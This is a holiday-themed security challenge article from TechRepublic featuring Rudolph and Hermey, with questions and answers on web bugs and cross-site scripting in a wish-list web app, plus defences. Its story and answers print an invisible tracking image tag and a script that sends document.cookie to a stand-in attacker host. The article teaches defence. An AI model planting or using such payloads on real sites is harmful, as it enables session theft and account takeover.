Ed Skoudis, security expert and author of the new book Malware: Fighting Malicious Code, has created a Holiday Crack the Hacker Challenge exclusively for TechRepublic. Ed forms scenarios based on old (and not-so-old) movies and TV shows to teach invaluable lessons about how to keep your systems secure.

In this challenge, inspired by the holiday classic Rudolph the Red-Nosed Reindeer, the most famous reindeer of all and his pal, Hermey the elf, needed your help to thwart a hack attack.

The winners, who will receive a copy of Ed’s new book, are listed on page two, along with the quiz answers.

The challenge
With the holiday season underway, Santa’s North Pole village was bustling. Children from around the world were sending a mountain of holiday wish lists, requesting all kinds of toys and goodies. As you would expect, their most popular requests included dolls, race cars and their very own copies of the new book Malware: Fighting Malicious Code. Yes, everyone at the North Pole was excitedly scurrying about to prepare for that magical night when Santa would deliver these gifts.

Well, almost everyone. Sadly, two North Pole denizens, Rudolph the Reindeer and Hermey the Elf, weren’t enjoying this holiday season. Rudolph suffered from a rare medical condition called Nasus Russus, which was complicated by Chronic Sonic Annoisia. In layman’s terms, he had a very shiny, red nose that emitted a piercing squeal when it glowed. His affliction was so bothersome that the other reindeer never let poor Rudolph join in any reindeer games, such as Quake, Doom, and SimChristmas. Rejected, Rudolph sought refuge by studying the finer points of information security legal issues.

Rudolph’s close buddy, Hermey, fared little better. A recent argument with the Chief Elf showed the awkwardness of his dilemma. “I don’t like to make toys,” Hermey stuttered reluctantly.

The Chief Elf responded in disbelief, “What!?! You don’t like to make toys? Would you mind telling me what you do want to do?”

Hermey replied dreamily, “Well, someday I’d like to be an information security professional. We need one up here. I’ve been studying malware, browser hacks, and incident handling.”

The Chief Elf shuddered in disgust and shouted, “Now listen, you! You’re an elf—and elves make toys. Now get to work!”

Rudolph and Hermey consoled themselves by analyzing the implications of the North Pole’s new computing infrastructure, which was built of two related components. First, Santa deployed an online wish submission Web site. Children could surf to this site, fill out an HTML form with each of their wishes and submit the form for processing. On the back end, analyst elves used their browsers to log into the wish application with an administrative session and review each submitted request.

While analyzing each child’s wishes, the analyst elves could access the second component of Santa’s new infrastructure: a naughty-and-nice database Web application. With a child’s wishes displayed on the screen, an analyst elf could click on a hyperlink to review that child’s naughty-and-nice record. If the youngster’s name appeared on the nice list, the elf would process the child’s order, automatically loading the requested gifts onto the big jolly guy’s sleigh. For those children on the naughty list, the analyst would dispatch a lump of coal for that unhappy stocking.

One user-friendly aspect of the wish submission and naughty-and-nice applications was that an analyst elf only needed to log in once and could transparently access both applications from a single Web browser session.

Having been shunned by everyone at the North Pole, Hermey and Rudolph spent hours each evening analyzing the logs associated with these new Web applications. Some might consider such an activity boring, but Hermey and Rudolph reveled in it. One evening shortly before the big delivery night, Rudolph and Hermey noticed something shocking. One child had submitted the following text as a wish:

<IMG ID=”Picture” HEIGHT=0 WIDTH=0 SRC=”http://www.bumblesnowmonster.com/Sample.jpg” BORDER=0>

An even more disturbing “wish” followed in this same child’s list. The little darling had submitted this text:

<script>document.location=’http://www.bumblesnowmonster.com/cgi-bin/grab.cgi?’+document.cookie</script>

Hermey shouted, “It looks like some attackers are trying to hack Santa’s new applications. Why, with administrative control of Santa’s infrastructure, attackers could move themselves from the naughty list to the nice list!”

Rudolph trembled as he considered the legal implications. “With the naughty-and-nice database online, an attacker might be able to view personally identifiable information about innocent children. This could run Santa afoul of the new California Law SB 1386, which requires notifying any California consumers about exposure of their sensitive private data in a computer attack.” Rudolph and Hermey raced to notify Santa and block the attack.

Please help Rudolph and Hermey thwart the bad guy by answering the following four questions. If your answers are good, you’ll go down in history.

  1. What is the purpose of the first malicious wish text, and how does it work?
  2. What is the purpose of the second malicious wish text, and how does it work?
  3. How could Hermey and Rudolph thwart the first and second types of attacks by altering the Web application? Alternatively, how could they stop these attacks by changing the configuration of the analyst elves’ browsers?
  4. Beyond these browser-based attacks, Hermey was also concerned about attackers submitting similar elements in children’s wish lists submitted via e-mail. What are two different methods for defeating such attacks by altering an e-mail reader’s configuration?

The answers
1. What is the purpose of the first malicious wish text, and how does it work?<IMG ID=”Picture” HEIGHT=0 WIDTH=0 SRC=”http://www.bumblesnowmonster.com/Sample.jpg” BORDER=0>

As many of you pointed out, this attack is known as a Web bug or Web beacon. It’s not really cross-site scripting; that attack comes later. With this Web bug, the attacker submitted a wish that refers to an image stored on the attacker’s own Web site (http://www.bumblesnowmonster.com). When an analyst elf viewed the submitted wishes in a browser, this reference caused the analyst’s browser to display a zero-sized image (HEIGHT=0 WIDTH=0 BORDER=0).

When the attacker’s Web site received and logged the HTTP request for the image, the attacker knew:

  • At least some HTML tags are transmitted through the application.
  • Wishes are being processed using software that renders HTML, such as a browser, e-mail client, or even Microsoft Word.
  • The type of software used, possibly revealing other vulnerabilities. (The attacker knows this from looking at the agent-type of the HTTP request.).
  • An IP address of a potential target machine. This address information may be merely the external address of Santa’s outgoing Web proxy, firewall or other NAT device. Alternatively, the address could belong to a victim browser’s machine.

2. What is the purpose of the second malicious wish text, and how does it work?<script>document.location=’http://www.bumblesnowmonster.com/cgi-bin/grab.cgi?’+document.cookie</script>

This is where things get interesting. The text represents the cross-site scripting component of the attack, as I describe on pages 135-143 in my Malware book. Here, the attacker submitted a snippet of JavaScript as a wish. The document.location directive instructs the script that it should redirect the Web browser to accesswww.bumblesnowmonster.com/cgi-bin/grab.cgi. The browser script passes a parameter, which includes all cookies (accessed via the document.cookie directive) associated with the current Web page, to the grab.cgi program located at the attacker’s Web site.

An analyst elf viewed this submission using a browser, but from the browser’s perspective, from where did this page and the embedded script come? It came from Santa’s own wish submission administration Web site, of course.

Therefore, when the script runs in the analyst elf’s browser, it can access the cookies set by the wish submission Web site, including any authentication credentials or session tracking information stored on the browser. Therefore, this submission is designed to pilfer authentication or session tracking credentials of the analyst elf. With these cookies, an attacker could likely clone the analyst elf’s session and gain access to the naughty-and-nice Web application because it shares authentication information and/or session credentials with the wish submission Web site.

3. How could Hermey and Rudolph thwart the first and second types of attacks by altering the Web application? Alternatively, how could they stop these attacks by changing the configuration of the analyst elves’ browsers?
The Web application should be altered to filter all input associated with the wishes, removing suspicious characters that could be associated with an attack, including < >, ( ), =, “, ‘, ;, % and &. To be thorough, the application should filter all characters except alpha and numeric. To be even more thorough, the application can filter such characters on both input and output, just to make sure scripts are not transmitted through the application.

Furthermore, since analyst elves likely don’t need to be surfing the Internet, a firewall or Web proxy can block their access to the outside world. On the browser side, the analyst elves’ browser configuration can be altered to avoid running scripts. Alternatively, Santa’s new applications can be set to a restricted zone in the browser that doesn’t allow scripts to be run.

4. Beyond these browser-based attacks, Hermey was also concerned about attackers submitting similar elements in children’s wish lists submitted via e-mail. What are two different methods for defeating such attacks by altering an e-mail reader’s configuration?
As described on pages 165-172 of Malware, the e-mail readers could be configured not to render HTML, showing simply text instead. This is a solid idea, eliminating a bunch of potential vulnerabilities. In Microsoft Outlook Express, you can use the Options | Read tab to select Read All Messages In Plain Text. Other e-mail readers have similar capabilities.

Additionally, in some e-mail readers, you can disable the loading of images from Web sites. In Mozilla, this can be achieved by using the Edit | Preferences | Privacy & Security | Images tab. Finally, by disabling third-party cookies in e-mail, you can stop e-mail from accessing cookies and forwarding them to Web sites. Happily, this is the default behavior in IE 6 with Medium security settings. It’s also an option in Mozilla. Unfortunately, this option does not function properly in the current version of Netscape 7.

The winners
We received more than 100 entries. Thanks to all who submitted answers and helped to spread some holiday cheer. I read through every submission in detail and painstakingly selected the best answers based on technical accuracy, clarity, demonstrated level of understanding, depth, brevity and creativity. With those criteria in mind, ten winners—I’m feeling jolly and the original number of five winners just wasn’t enough—will receive a copy of my new book, Malware: Fighting Malicious Code.

The winners, the reasons for my selections, and links to their entries are:

  • Ryan Pavlik: Concise is nice. Your answers were excellent and right to the point.
  • Ken Crook: You had the funniest submission along with perfect technical descriptions.
  • Nick Tolk: Your answer was technically spot-on and included a major anti-Outlook rant.
  • Martin Burton: Your narrative was beautiful and entertaining.
  • Mark Davis: I liked your description of the attacker’s CGI script, including a code snippet.
  • Jay Swofford: Your analysis was thorough and logical.
  • David Hale: Your defenses were among the most detailed of all submissions.
  • Derrick Jones: Your e-mail fixes were exemplary.
  • Ron Sweeney: I liked your sample XSS attacks, especially the one that pops out the coffee holder.
  • David Lancaster: Your brevity and technical accuracy are much appreciated.